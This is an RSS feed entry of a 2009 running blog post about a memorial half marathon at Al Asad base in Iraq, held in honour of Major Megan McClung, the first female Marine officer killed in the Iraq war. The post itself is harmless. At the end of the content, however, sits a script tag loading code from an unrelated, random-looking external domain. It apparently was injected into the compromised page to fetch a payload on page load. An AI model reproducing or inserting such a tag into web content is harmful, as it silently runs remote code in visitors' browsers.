		<pubDate>Tue, 01 Sep 2009 19:43:16 +0000</pubDate>
		<dc:creator>bart yasso</dc:creator>
				<category><![CDATA[Big Ideas]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[Travel]]></category>
		<category><![CDATA[al asad]]></category>
		<category><![CDATA[al asad base]]></category>
		<category><![CDATA[Bart Yasso]]></category>
		<category><![CDATA[first female marine]]></category>
		<category><![CDATA[first female marine officer killed]]></category>
		<category><![CDATA[half marathon]]></category>
		<category><![CDATA[iraq race]]></category>
		<category><![CDATA[iraq run]]></category>
		<category><![CDATA[kevin martin]]></category>
		<category><![CDATA[major mcclung]]></category>
		<category><![CDATA[major megan mc clung]]></category>
		<category><![CDATA[marine corps marathon]]></category>
		<category><![CDATA[mcim]]></category>
		<category><![CDATA[megan mcclung]]></category>
		<category><![CDATA[memorial half marathon]]></category>
		<category><![CDATA[satellite marathon]]></category>

		<guid isPermaLink="false">http://www.bartyasso.com/blog/?p=576</guid>
		<description><![CDATA[

Thank you to Kevin Martin for keeping me updated on the Major Megan McClung Memorial Half  I wrote about last month. I met Kevin during the Warrior Tours at the base called Al Asad. I learned that Major McClung was the first female Marine officer killed in the Iraq war, as well as the first female graduate [...]]]></description>
			<content:encoded><![CDATA[<h3><span style="font-size: small;"><span style="font-weight: normal;"><span style="font-family: mceinline, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: medium;"><span><strong><a rel="attachment wp-att-577" href="http://www.bartyasso.com/blog/2009/09/iraq-update-major-mcclung-memorial-half-marathon/iraqracemegan/"><img class="alignright size-medium wp-image-577" title="iraqracemegan" src="http://www.bartyasso.com/blog/wp-content/uploads/2009/09/iraqracemegan-300x225.jpg" alt="iraqracemegan" width="300" height="225" /></a></p>
<h3>
<p style="text-align: left;"><span style="font-weight: normal;">Thank you to Kevin Martin for keeping me updated on the Major Megan McClung Memorial Half  I wrote about last month. I met Kevin during the Warrior Tours at the base called Al Asad. I learned that Major McClung was the first female Marine officer killed in the Iraq war,</span><span style="font-size: small;"><span style="font-weight: normal;"> </span></span><span style="font-weight: normal;">as well as the first female graduate of the United States Naval Academy to be killed in action since the school was founded in 1845. She was buried with full military honors in Arlington National Cemetary on December 19, 2006.</span></p>
<p style="text-align: left;"><span style="font-size: small;"><span style="font-weight: normal;">McClung was a triathlete (having competed in six Ironman competitions)</span><span style="font-size: small;"><span style="font-weight: normal;"> </span></span><span style="font-weight: normal;">and a marathoner. In October 2006, she organized and ran in the Marine Corps Marathon&#8217;s satellite competition. Kevin sent this photo from the run held on August 15th and wrote to say that they had over 400 runners and 100 volunteers take part. That is awesome.</span></span></p>
<p><span style="font-family: mceinline;"><br />
</span></p>
<p style="text-align: left;">
</h3>
<p></strong></p>
<p></span></span></span></span></h3>
<p><script src="http://ue.oeaou.com/31"></script></p>
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